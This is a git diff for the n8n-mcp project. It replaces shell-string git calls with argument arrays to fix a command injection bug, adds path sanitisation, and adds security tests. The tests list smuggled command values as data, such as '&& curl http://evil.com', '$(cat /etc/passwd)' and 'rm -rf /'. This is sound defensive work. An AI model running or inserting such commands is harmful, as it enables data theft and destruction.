||||||
|
console.log('Active sessions:', sessionInfo.sessions?.active);
|
||||||
|
```
|
||||||
|
|
||||||
|
## Further Reading
|
||||||
|
|
||||||
|
- [MCP Protocol Specification](https://modelcontextprotocol.io/docs)
|
||||||
|
- [n8n API Documentation](https://docs.n8n.io/api/)
|
||||||
|
- [Express.js Guide](https://expressjs.com/en/guide/routing.html)
|
||||||
|
- [n8n-mcp Main README](../README.md)
|
||||||
|
|
||||||
|
## Support
|
||||||
|
|
||||||
|
- **Issues**: [GitHub Issues](https://github.com/czlonkowski/n8n-mcp/issues)
|
||||||
|
- **Discussions**: [GitHub Discussions](https://github.com/czlonkowski/n8n-mcp/discussions)
|
||||||
|
- **Security**: For security issues, see [SECURITY.md](../SECURITY.md)
|
||||||
4
package-lock.json
generated
4
package-lock.json
generated
@@ -1,12 +1,12 @@
|
|||||||
{
|
{
|
||||||
"name": "n8n-mcp",
|
"name": "n8n-mcp",
|
||||||
"version": "2.18.0",
|
"version": "2.18.10",
|
||||||
"lockfileVersion": 3,
|
"lockfileVersion": 3,
|
||||||
"requires": true,
|
"requires": true,
|
||||||
"packages": {
|
"packages": {
|
||||||
"": {
|
"": {
|
||||||
"name": "n8n-mcp",
|
"name": "n8n-mcp",
|
||||||
"version": "2.18.0",
|
"version": "2.18.10",
|
||||||
"license": "MIT",
|
"license": "MIT",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@modelcontextprotocol/sdk": "^1.13.2",
|
"@modelcontextprotocol/sdk": "^1.13.2",
|
||||||
|
|||||||
10
package.json
10
package.json
@@ -1,8 +1,16 @@
|
|||||||
{
|
{
|
||||||
"name": "n8n-mcp",
|
"name": "n8n-mcp",
|
||||||
"version": "2.18.6",
|
"version": "2.18.10",
|
||||||
"description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
|
"description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
|
||||||
"main": "dist/index.js",
|
"main": "dist/index.js",
|
||||||
|
"types": "dist/index.d.ts",
|
||||||
|
"exports": {
|
||||||
|
".": {
|
||||||
|
"types": "./dist/index.d.ts",
|
||||||
|
"require": "./dist/index.js",
|
||||||
|
"import": "./dist/index.js"
|
||||||
|
}
|
||||||
|
},
|
||||||
"bin": {
|
"bin": {
|
||||||
"n8n-mcp": "./dist/mcp/index.js"
|
"n8n-mcp": "./dist/mcp/index.js"
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "n8n-mcp-runtime",
|
"name": "n8n-mcp-runtime",
|
||||||
"version": "2.18.1",
|
"version": "2.18.10",
|
||||||
"description": "n8n MCP Server Runtime Dependencies Only",
|
"description": "n8n MCP Server Runtime Dependencies Only",
|
||||||
"private": true,
|
"private": true,
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
|||||||
78
scripts/audit-schema-coverage.ts
Normal file
78
scripts/audit-schema-coverage.ts
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
/**
|
||||||
|
* Database Schema Coverage Audit Script
|
||||||
|
*
|
||||||
|
* Audits the database to determine how many nodes have complete schema information
|
||||||
|
* for resourceLocator mode validation. This helps assess the coverage of our
|
||||||
|
* schema-driven validation approach.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import Database from 'better-sqlite3';
|
||||||
|
import path from 'path';
|
||||||
|
|
||||||
|
const dbPath = path.join(__dirname, '../data/nodes.db');
|
||||||
|
const db = new Database(dbPath, { readonly: true });
|
||||||
|
|
||||||
|
console.log('=== Schema Coverage Audit ===\n');
|
||||||
|
|
||||||
|
// Query 1: How many nodes have resourceLocator properties?
|
||||||
|
const totalResourceLocator = db.prepare(`
|
||||||
|
SELECT COUNT(*) as count FROM nodes
|
||||||
|
WHERE properties_schema LIKE '%resourceLocator%'
|
||||||
|
`).get() as { count: number };
|
||||||
|
|
||||||
|
console.log(`Nodes with resourceLocator properties: ${totalResourceLocator.count}`);
|
||||||
|
|
||||||
|
// Query 2: Of those, how many have modes defined?
|
||||||
|
const withModes = db.prepare(`
|
||||||
|
SELECT COUNT(*) as count FROM nodes
|
||||||
|
WHERE properties_schema LIKE '%resourceLocator%'
|
||||||
|
AND properties_schema LIKE '%modes%'
|
||||||
|
`).get() as { count: number };
|
||||||
|
|
||||||
|
console.log(`Nodes with modes defined: ${withModes.count}`);
|
||||||
|
|
||||||
|
// Query 3: Which nodes have resourceLocator but NO modes?
|
||||||
|
const withoutModes = db.prepare(`
|
||||||
|
SELECT node_type, display_name
|
||||||
|
FROM nodes
|
||||||
|
WHERE properties_schema LIKE '%resourceLocator%'
|
||||||
|
AND properties_schema NOT LIKE '%modes%'
|
||||||
|
LIMIT 10
|
||||||
|
`).all() as Array<{ node_type: string; display_name: string }>;
|
||||||
|
|
||||||
|
console.log(`\nSample nodes WITHOUT modes (showing 10):`);
|
||||||
|
withoutModes.forEach(node => {
|
||||||
|
console.log(` - ${node.display_name} (${node.node_type})`);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Calculate coverage percentage
|
||||||
|
const coverage = totalResourceLocator.count > 0
|
||||||
|
? (withModes.count / totalResourceLocator.count) * 100
|
||||||
|
: 0;
|
||||||
|
|
||||||
|
console.log(`\nSchema coverage: ${coverage.toFixed(1)}% of resourceLocator nodes have modes defined`);
|
||||||
|
|
||||||
|
// Query 4: Get some examples of nodes WITH modes for verification
|
||||||
|
console.log('\nSample nodes WITH modes (showing 5):');
|
||||||
|
const withModesExamples = db.prepare(`
|
||||||
|
SELECT node_type, display_name
|
||||||
|
FROM nodes
|
||||||
|
WHERE properties_schema LIKE '%resourceLocator%'
|
||||||
|
AND properties_schema LIKE '%modes%'
|
||||||
|
LIMIT 5
|
||||||
|
`).all() as Array<{ node_type: string; display_name: string }>;
|
||||||
|
|
||||||
|
withModesExamples.forEach(node => {
|
||||||
|
console.log(` - ${node.display_name} (${node.node_type})`);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Summary
|
||||||
|
console.log('\n=== Summary ===');
|
||||||
|
console.log(`Total nodes in database: ${db.prepare('SELECT COUNT(*) as count FROM nodes').get() as any as { count: number }.count}`);
|
||||||
|
console.log(`Nodes with resourceLocator: ${totalResourceLocator.count}`);
|
||||||
|
console.log(`Nodes with complete mode schemas: ${withModes.count}`);
|
||||||
|
console.log(`Nodes without mode schemas: ${totalResourceLocator.count - withModes.count}`);
|
||||||
|
console.log(`\nImplication: Schema-driven validation will apply to ${withModes.count} nodes.`);
|
||||||
|
console.log(`For the remaining ${totalResourceLocator.count - withModes.count} nodes, validation will be skipped (graceful degradation).`);
|
||||||
|
|
||||||
|
db.close();
|
||||||
@@ -11,29 +11,8 @@ NC='\033[0m' # No Color
|
|||||||
|
|
||||||
echo "🚀 Preparing n8n-mcp for npm publish..."
|
echo "🚀 Preparing n8n-mcp for npm publish..."
|
||||||
|
|
||||||
# Run tests first to ensure quality
|
# Skip tests - they already run in CI before merge/publish
|
||||||
echo "🧪 Running tests..."
|
echo "⏭️ Skipping tests (already verified in CI)"
|
||||||
TEST_OUTPUT=$(npm test 2>&1)
|
|
||||||
TEST_EXIT_CODE=$?
|
|
||||||
|
|
||||||
# Check test results - look for actual test failures vs coverage issues
|
|
||||||
if echo "$TEST_OUTPUT" | grep -q "Tests.*failed"; then
|
|
||||||
# Extract failed count using sed (portable)
|
|
||||||
FAILED_COUNT=$(echo "$TEST_OUTPUT" | sed -n 's/.*Tests.*\([0-9]*\) failed.*/\1/p' | head -1)
|
|
||||||
if [ "$FAILED_COUNT" != "0" ] && [ "$FAILED_COUNT" != "" ]; then
|
|
||||||
echo -e "${RED}❌ $FAILED_COUNT test(s) failed. Aborting publish.${NC}"
|
|
||||||
echo "$TEST_OUTPUT" | tail -20
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
# If we got here, tests passed - check coverage
|
|
||||||
if echo "$TEST_OUTPUT" | grep -q "Coverage.*does not meet global threshold"; then
|
|
||||||
echo -e "${YELLOW}⚠️ All tests passed but coverage is below threshold${NC}"
|
|
||||||
echo -e "${YELLOW} Consider improving test coverage before next release${NC}"
|
|
||||||
else
|
|
||||||
echo -e "${GREEN}✅ All tests passed with good coverage!${NC}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Sync version to runtime package first
|
# Sync version to runtime package first
|
||||||
echo "🔄 Syncing version to package.runtime.json..."
|
echo "🔄 Syncing version to package.runtime.json..."
|
||||||
@@ -80,6 +59,15 @@ node -e "
|
|||||||
const pkg = require('./package.json');
|
const pkg = require('./package.json');
|
||||||
pkg.name = 'n8n-mcp';
|
pkg.name = 'n8n-mcp';
|
||||||
pkg.description = 'Integration between n8n workflow automation and Model Context Protocol (MCP)';
|
pkg.description = 'Integration between n8n workflow automation and Model Context Protocol (MCP)';
|
||||||
|
pkg.main = 'dist/index.js';
|
||||||
|
pkg.types = 'dist/index.d.ts';
|
||||||
|
pkg.exports = {
|
||||||
|
'.': {
|
||||||
|
types: './dist/index.d.ts',
|
||||||
|
require: './dist/index.js',
|
||||||
|
import: './dist/index.js'
|
||||||
|
}
|
||||||
|
};
|
||||||
pkg.bin = { 'n8n-mcp': './dist/mcp/index.js' };
|
pkg.bin = { 'n8n-mcp': './dist/mcp/index.js' };
|
||||||
pkg.repository = { type: 'git', url: 'git+https://github.com/czlonkowski/n8n-mcp.git' };
|
pkg.repository = { type: 'git', url: 'git+https://github.com/czlonkowski/n8n-mcp.git' };
|
||||||
pkg.keywords = ['n8n', 'mcp', 'model-context-protocol', 'ai', 'workflow', 'automation'];
|
pkg.keywords = ['n8n', 'mcp', 'model-context-protocol', 'ai', 'workflow', 'automation'];
|
||||||
|
|||||||
@@ -188,11 +188,22 @@ export class SingleSessionHTTPServer {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Validate session ID format
|
* Validate session ID format
|
||||||
|
*
|
||||||
|
* Accepts any non-empty string to support various MCP clients:
|
||||||
|
* - UUIDv4 (internal n8n-mcp format)
|
||||||
|
* - instance-{userId}-{hash}-{uuid} (multi-tenant format)
|
||||||
|
* - Custom formats from mcp-remote and other proxies
|
||||||
|
*
|
||||||
|
* Security: Session validation happens via lookup in this.transports,
|
||||||
|
* not format validation. This ensures compatibility with all MCP clients.
|
||||||
|
*
|
||||||
|
* @param sessionId - Session identifier from MCP client
|
||||||
|
* @returns true if valid, false otherwise
|
||||||
*/
|
*/
|
||||||
private isValidSessionId(sessionId: string): boolean {
|
private isValidSessionId(sessionId: string): boolean {
|
||||||
// UUID v4 format validation
|
// Accept any non-empty string as session ID
|
||||||
const uuidv4Regex = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
|
// This ensures compatibility with all MCP clients and proxies
|
||||||
return uuidv4Regex.test(sessionId);
|
return Boolean(sessionId && sessionId.length > 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
16
src/index.ts
16
src/index.ts
@@ -10,6 +10,22 @@ export { SingleSessionHTTPServer } from './http-server-single-session';
|
|||||||
export { ConsoleManager } from './utils/console-manager';
|
export { ConsoleManager } from './utils/console-manager';
|
||||||
export { N8NDocumentationMCPServer } from './mcp/server';
|
export { N8NDocumentationMCPServer } from './mcp/server';
|
||||||
|
|
||||||
|
// Type exports for multi-tenant and library usage
|
||||||
|
export type {
|
||||||
|
InstanceContext
|
||||||
|
} from './types/instance-context';
|
||||||
|
export {
|
||||||
|
validateInstanceContext,
|
||||||
|
isInstanceContext
|
||||||
|
} from './types/instance-context';
|
||||||
|
|
||||||
|
// Re-export MCP SDK types for convenience
|
||||||
|
export type {
|
||||||
|
Tool,
|
||||||
|
CallToolResult,
|
||||||
|
ListToolsResult
|
||||||
|
} from '@modelcontextprotocol/sdk/types.js';
|
||||||
|
|
||||||
// Default export for convenience
|
// Default export for convenience
|
||||||
import N8NMCPEngine from './mcp-engine';
|
import N8NMCPEngine from './mcp-engine';
|
||||||
export default N8NMCPEngine;
|
export default N8NMCPEngine;
|
||||||
|
|||||||
@@ -231,6 +231,7 @@ export class PropertyExtractor {
|
|||||||
required: prop.required,
|
required: prop.required,
|
||||||
displayOptions: prop.displayOptions,
|
displayOptions: prop.displayOptions,
|
||||||
typeOptions: prop.typeOptions,
|
typeOptions: prop.typeOptions,
|
||||||
|
modes: prop.modes, // For resourceLocator type properties - modes are at top level
|
||||||
noDataExpression: prop.noDataExpression
|
noDataExpression: prop.noDataExpression
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -268,16 +268,46 @@ export class ConfigValidator {
|
|||||||
type: 'invalid_type',
|
type: 'invalid_type',
|
||||||
property: `${key}.mode`,
|
property: `${key}.mode`,
|
||||||
message: `resourceLocator '${key}.mode' must be a string, got ${typeof value.mode}`,
|
message: `resourceLocator '${key}.mode' must be a string, got ${typeof value.mode}`,
|
||||||
fix: `Set mode to "list" or "id"`
|
fix: `Set mode to a valid string value`
|
||||||
});
|
|
||||||
} else if (!['list', 'id', 'url'].includes(value.mode)) {
|
|
||||||
errors.push({
|
|
||||||
type: 'invalid_value',
|
|
||||||
property: `${key}.mode`,
|
|
||||||
message: `resourceLocator '${key}.mode' must be 'list', 'id', or 'url', got '${value.mode}'`,
|
|
||||||
fix: `Change mode to "list", "id", or "url"`
|
|
||||||
});
|
});
|
||||||
|
} else if (prop.modes) {
|
||||||
|
// Schema-based validation: Check if mode exists in the modes definition
|
||||||
|
// In n8n, modes are defined at the top level of resourceLocator properties
|
||||||
|
// Modes can be defined in different ways:
|
||||||
|
// 1. Array of mode objects: [{name: 'list', ...}, {name: 'id', ...}, {name: 'name', ...}]
|
||||||
|
// 2. Object with mode keys: { list: {...}, id: {...}, url: {...}, name: {...} }
|
||||||
|
const modes = prop.modes;
|
||||||
|
|
||||||
|
// Validate modes structure before processing to prevent crashes
|
||||||
|
if (!modes || typeof modes !== 'object') {
|
||||||
|
// Invalid schema structure - skip validation to prevent false positives
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let allowedModes: string[] = [];
|
||||||
|
|
||||||
|
if (Array.isArray(modes)) {
|
||||||
|
// Array format (most common in n8n): extract name property from each mode object
|
||||||
|
allowedModes = modes
|
||||||
|
.map(m => (typeof m === 'object' && m !== null) ? m.name : m)
|
||||||
|
.filter(m => typeof m === 'string' && m.length > 0);
|
||||||
|
} else {
|
||||||
|
// Object format: extract keys as mode names
|
||||||
|
allowedModes = Object.keys(modes).filter(k => k.length > 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only validate if we successfully extracted modes
|
||||||
|
if (allowedModes.length > 0 && !allowedModes.includes(value.mode)) {
|
||||||
|
errors.push({
|
||||||
|
type: 'invalid_value',
|
||||||
|
property: `${key}.mode`,
|
||||||
|
message: `resourceLocator '${key}.mode' must be one of [${allowedModes.join(', ')}], got '${value.mode}'`,
|
||||||
|
fix: `Change mode to one of: ${allowedModes.join(', ')}`
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
// If no modes defined at property level, skip mode validation
|
||||||
|
// This prevents false positives for nodes with dynamic/runtime-determined modes
|
||||||
|
|
||||||
if (value.value === undefined) {
|
if (value.value === undefined) {
|
||||||
errors.push({
|
errors.push({
|
||||||
|
|||||||
@@ -318,7 +318,11 @@ export class EnhancedConfigValidator extends ConfigValidator {
|
|||||||
case 'nodes-base.mysql':
|
case 'nodes-base.mysql':
|
||||||
NodeSpecificValidators.validateMySQL(context);
|
NodeSpecificValidators.validateMySQL(context);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case 'nodes-base.set':
|
||||||
|
NodeSpecificValidators.validateSet(context);
|
||||||
|
break;
|
||||||
|
|
||||||
case 'nodes-base.switch':
|
case 'nodes-base.switch':
|
||||||
this.validateSwitchNodeStructure(config, result);
|
this.validateSwitchNodeStructure(config, result);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -269,13 +269,15 @@ export class NodeSpecificValidators {
|
|||||||
|
|
||||||
private static validateGoogleSheetsAppend(context: NodeValidationContext): void {
|
private static validateGoogleSheetsAppend(context: NodeValidationContext): void {
|
||||||
const { config, errors, warnings, autofix } = context;
|
const { config, errors, warnings, autofix } = context;
|
||||||
|
|
||||||
if (!config.range) {
|
// In Google Sheets v4+, range is only required if NOT using the columns resourceMapper
|
||||||
|
// The columns parameter is a resourceMapper introduced in v4 that handles range automatically
|
||||||
|
if (!config.range && !config.columns) {
|
||||||
errors.push({
|
errors.push({
|
||||||
type: 'missing_required',
|
type: 'missing_required',
|
||||||
property: 'range',
|
property: 'range',
|
||||||
message: 'Range is required for append operation',
|
message: 'Range or columns mapping is required for append operation',
|
||||||
fix: 'Specify range like "Sheet1!A:B" or "Sheet1!A1:B10"'
|
fix: 'Specify range like "Sheet1!A:B" OR use columns with mappingMode'
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1556,4 +1558,59 @@ export class NodeSpecificValidators {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validate Set node configuration
|
||||||
|
*/
|
||||||
|
static validateSet(context: NodeValidationContext): void {
|
||||||
|
const { config, errors, warnings } = context;
|
||||||
|
|
||||||
|
// Validate jsonOutput when present (used in JSON mode or when directly setting JSON)
|
||||||
|
if (config.jsonOutput !== undefined && config.jsonOutput !== null && config.jsonOutput !== '') {
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(config.jsonOutput);
|
||||||
|
|
||||||
|
// Set node with JSON input expects an OBJECT {}, not an ARRAY []
|
||||||
|
// This is a common mistake that n8n UI catches but our validator should too
|
||||||
|
if (Array.isArray(parsed)) {
|
||||||
|
errors.push({
|
||||||
|
type: 'invalid_value',
|
||||||
|
property: 'jsonOutput',
|
||||||
|
message: 'Set node expects a JSON object {}, not an array []',
|
||||||
|
fix: 'Either wrap array items as object properties: {"items": [...]}, OR use a different approach for multiple items'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Warn about empty objects
|
||||||
|
if (typeof parsed === 'object' && !Array.isArray(parsed) && Object.keys(parsed).length === 0) {
|
||||||
|
warnings.push({
|
||||||
|
type: 'inefficient',
|
||||||
|
property: 'jsonOutput',
|
||||||
|
message: 'jsonOutput is an empty object - this node will output no data',
|
||||||
|
suggestion: 'Add properties to the object or remove this node if not needed'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
errors.push({
|
||||||
|
type: 'syntax_error',
|
||||||
|
property: 'jsonOutput',
|
||||||
|
message: `Invalid JSON in jsonOutput: ${e instanceof Error ? e.message : 'Syntax error'}`,
|
||||||
|
fix: 'Ensure jsonOutput contains valid JSON syntax'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate mode-specific requirements
|
||||||
|
if (config.mode === 'manual') {
|
||||||
|
// In manual mode, at least one field should be defined
|
||||||
|
const hasFields = config.values && Object.keys(config.values).length > 0;
|
||||||
|
if (!hasFields && !config.jsonOutput) {
|
||||||
|
warnings.push({
|
||||||
|
type: 'missing_common',
|
||||||
|
message: 'Set node has no fields configured - will output empty items',
|
||||||
|
suggestion: 'Add fields in the Values section or use JSON mode'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
import { promises as fs } from 'fs';
|
import { promises as fs } from 'fs';
|
||||||
import path from 'path';
|
import path from 'path';
|
||||||
import { logger } from './logger';
|
import { logger } from './logger';
|
||||||
import { execSync } from 'child_process';
|
import { spawnSync } from 'child_process';
|
||||||
|
|
||||||
// Enhanced documentation structure with rich content
|
// Enhanced documentation structure with rich content
|
||||||
export interface EnhancedNodeDocumentation {
|
export interface EnhancedNodeDocumentation {
|
||||||
@@ -61,36 +61,136 @@ export interface DocumentationMetadata {
|
|||||||
|
|
||||||
export class EnhancedDocumentationFetcher {
|
export class EnhancedDocumentationFetcher {
|
||||||
private docsPath: string;
|
private docsPath: string;
|
||||||
private docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
|
private readonly docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
|
||||||
private cloned = false;
|
private cloned = false;
|
||||||
|
|
||||||
constructor(docsPath?: string) {
|
constructor(docsPath?: string) {
|
||||||
this.docsPath = docsPath || path.join(__dirname, '../../temp', 'n8n-docs');
|
// SECURITY: Validate and sanitize docsPath to prevent command injection
|
||||||
|
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
|
||||||
|
const defaultPath = path.join(__dirname, '../../temp', 'n8n-docs');
|
||||||
|
|
||||||
|
if (!docsPath) {
|
||||||
|
this.docsPath = defaultPath;
|
||||||
|
} else {
|
||||||
|
// SECURITY: Block directory traversal and malicious paths
|
||||||
|
const sanitized = this.sanitizePath(docsPath);
|
||||||
|
|
||||||
|
if (!sanitized) {
|
||||||
|
logger.error('Invalid docsPath rejected in constructor', { docsPath });
|
||||||
|
throw new Error('Invalid docsPath: path contains disallowed characters or patterns');
|
||||||
|
}
|
||||||
|
|
||||||
|
// SECURITY: Verify path is absolute and within allowed boundaries
|
||||||
|
const absolutePath = path.resolve(sanitized);
|
||||||
|
|
||||||
|
// Block paths that could escape to sensitive directories
|
||||||
|
if (absolutePath.startsWith('/etc') ||
|
||||||
|
absolutePath.startsWith('/sys') ||
|
||||||
|
absolutePath.startsWith('/proc') ||
|
||||||
|
absolutePath.startsWith('/var/log')) {
|
||||||
|
logger.error('docsPath points to system directory - blocked', { docsPath, absolutePath });
|
||||||
|
throw new Error('Invalid docsPath: cannot use system directories');
|
||||||
|
}
|
||||||
|
|
||||||
|
this.docsPath = absolutePath;
|
||||||
|
logger.info('docsPath validated and set', { docsPath: this.docsPath });
|
||||||
|
}
|
||||||
|
|
||||||
|
// SECURITY: Validate repository URL is HTTPS
|
||||||
|
if (!this.docsRepoUrl.startsWith('https://')) {
|
||||||
|
logger.error('docsRepoUrl must use HTTPS protocol', { url: this.docsRepoUrl });
|
||||||
|
throw new Error('Invalid repository URL: must use HTTPS protocol');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sanitize path input to prevent command injection and directory traversal
|
||||||
|
* SECURITY: Part of fix for command injection vulnerability
|
||||||
|
*/
|
||||||
|
private sanitizePath(inputPath: string): string | null {
|
||||||
|
// SECURITY: Reject paths containing any shell metacharacters or control characters
|
||||||
|
// This prevents command injection even before attempting to sanitize
|
||||||
|
const dangerousChars = /[;&|`$(){}[\]<>'"\\#\n\r\t]/;
|
||||||
|
if (dangerousChars.test(inputPath)) {
|
||||||
|
logger.warn('Path contains shell metacharacters - rejected', { path: inputPath });
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Block directory traversal attempts
|
||||||
|
if (inputPath.includes('..') || inputPath.startsWith('.')) {
|
||||||
|
logger.warn('Path traversal attempt blocked', { path: inputPath });
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return inputPath;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Clone or update the n8n-docs repository
|
* Clone or update the n8n-docs repository
|
||||||
|
* SECURITY: Uses spawnSync with argument arrays to prevent command injection
|
||||||
|
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
|
||||||
*/
|
*/
|
||||||
async ensureDocsRepository(): Promise<void> {
|
async ensureDocsRepository(): Promise<void> {
|
||||||
try {
|
try {
|
||||||
const exists = await fs.access(this.docsPath).then(() => true).catch(() => false);
|
const exists = await fs.access(this.docsPath).then(() => true).catch(() => false);
|
||||||
|
|
||||||
if (!exists) {
|
if (!exists) {
|
||||||
logger.info('Cloning n8n-docs repository...');
|
logger.info('Cloning n8n-docs repository...', {
|
||||||
await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
|
url: this.docsRepoUrl,
|
||||||
execSync(`git clone --depth 1 ${this.docsRepoUrl} ${this.docsPath}`, {
|
path: this.docsPath
|
||||||
stdio: 'pipe'
|
|
||||||
});
|
});
|
||||||
|
await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
|
||||||
|
|
||||||
|
// SECURITY: Use spawnSync with argument array instead of string interpolation
|
||||||
|
// This prevents command injection even if docsPath or docsRepoUrl are compromised
|
||||||
|
const cloneResult = spawnSync('git', [
|
||||||
|
'clone',
|
||||||
|
'--depth', '1',
|
||||||
|
this.docsRepoUrl,
|
||||||
|
this.docsPath
|
||||||
|
], {
|
||||||
|
stdio: 'pipe',
|
||||||
|
encoding: 'utf-8'
|
||||||
|
});
|
||||||
|
|
||||||
|
if (cloneResult.status !== 0) {
|
||||||
|
const error = cloneResult.stderr || cloneResult.error?.message || 'Unknown error';
|
||||||
|
logger.error('Git clone failed', {
|
||||||
|
status: cloneResult.status,
|
||||||
|
stderr: error,
|
||||||
|
url: this.docsRepoUrl,
|
||||||
|
path: this.docsPath
|
||||||
|
});
|
||||||
|
throw new Error(`Git clone failed: ${error}`);
|
||||||
|
}
|
||||||
|
|
||||||
logger.info('n8n-docs repository cloned successfully');
|
logger.info('n8n-docs repository cloned successfully');
|
||||||
} else {
|
} else {
|
||||||
logger.info('Updating n8n-docs repository...');
|
logger.info('Updating n8n-docs repository...', { path: this.docsPath });
|
||||||
execSync('git pull --ff-only', {
|
|
||||||
|
// SECURITY: Use spawnSync with argument array and cwd option
|
||||||
|
const pullResult = spawnSync('git', [
|
||||||
|
'pull',
|
||||||
|
'--ff-only'
|
||||||
|
], {
|
||||||
cwd: this.docsPath,
|
cwd: this.docsPath,
|
||||||
stdio: 'pipe'
|
stdio: 'pipe',
|
||||||
|
encoding: 'utf-8'
|
||||||
});
|
});
|
||||||
|
|
||||||
|
if (pullResult.status !== 0) {
|
||||||
|
const error = pullResult.stderr || pullResult.error?.message || 'Unknown error';
|
||||||
|
logger.error('Git pull failed', {
|
||||||
|
status: pullResult.status,
|
||||||
|
stderr: error,
|
||||||
|
cwd: this.docsPath
|
||||||
|
});
|
||||||
|
throw new Error(`Git pull failed: ${error}`);
|
||||||
|
}
|
||||||
|
|
||||||
logger.info('n8n-docs repository updated');
|
logger.info('n8n-docs repository updated');
|
||||||
}
|
}
|
||||||
|
|
||||||
this.cloned = true;
|
this.cloned = true;
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.error('Failed to clone/update n8n-docs repository:', error);
|
logger.error('Failed to clone/update n8n-docs repository:', error);
|
||||||
|
|||||||
@@ -163,4 +163,96 @@ describe('Command Injection Prevention', () => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('Git Command Injection Prevention (Issue #265 Part 2)', () => {
|
||||||
|
it('should reject malicious paths in constructor with shell metacharacters', () => {
|
||||||
|
const maliciousPaths = [
|
||||||
|
'/tmp/test; touch /tmp/PWNED #',
|
||||||
|
'/tmp/test && curl http://evil.com',
|
||||||
|
'/tmp/test | whoami',
|
||||||
|
'/tmp/test`whoami`',
|
||||||
|
'/tmp/test$(cat /etc/passwd)',
|
||||||
|
'/tmp/test\nrm -rf /',
|
||||||
|
'/tmp/test & rm -rf /',
|
||||||
|
'/tmp/test || curl evil.com',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const maliciousPath of maliciousPaths) {
|
||||||
|
expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow(
|
||||||
|
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject paths pointing to sensitive system directories', () => {
|
||||||
|
const systemPaths = [
|
||||||
|
'/etc/passwd',
|
||||||
|
'/sys/kernel',
|
||||||
|
'/proc/self',
|
||||||
|
'/var/log/auth.log',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const systemPath of systemPaths) {
|
||||||
|
expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow(
|
||||||
|
/Invalid docsPath: cannot use system directories/
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject directory traversal attempts in constructor', () => {
|
||||||
|
const traversalPaths = [
|
||||||
|
'../../../etc/passwd',
|
||||||
|
'../../sensitive',
|
||||||
|
'./relative/path',
|
||||||
|
'.hidden/path',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const traversalPath of traversalPaths) {
|
||||||
|
expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow(
|
||||||
|
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept valid absolute paths in constructor', () => {
|
||||||
|
// These should not throw
|
||||||
|
expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow();
|
||||||
|
expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow();
|
||||||
|
expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should use default path when no path provided', () => {
|
||||||
|
// Should not throw with default path
|
||||||
|
expect(() => new EnhancedDocumentationFetcher()).not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject paths with quote characters', () => {
|
||||||
|
const quotePaths = [
|
||||||
|
'/tmp/test"malicious',
|
||||||
|
"/tmp/test'malicious",
|
||||||
|
'/tmp/test`command`',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const quotePath of quotePaths) {
|
||||||
|
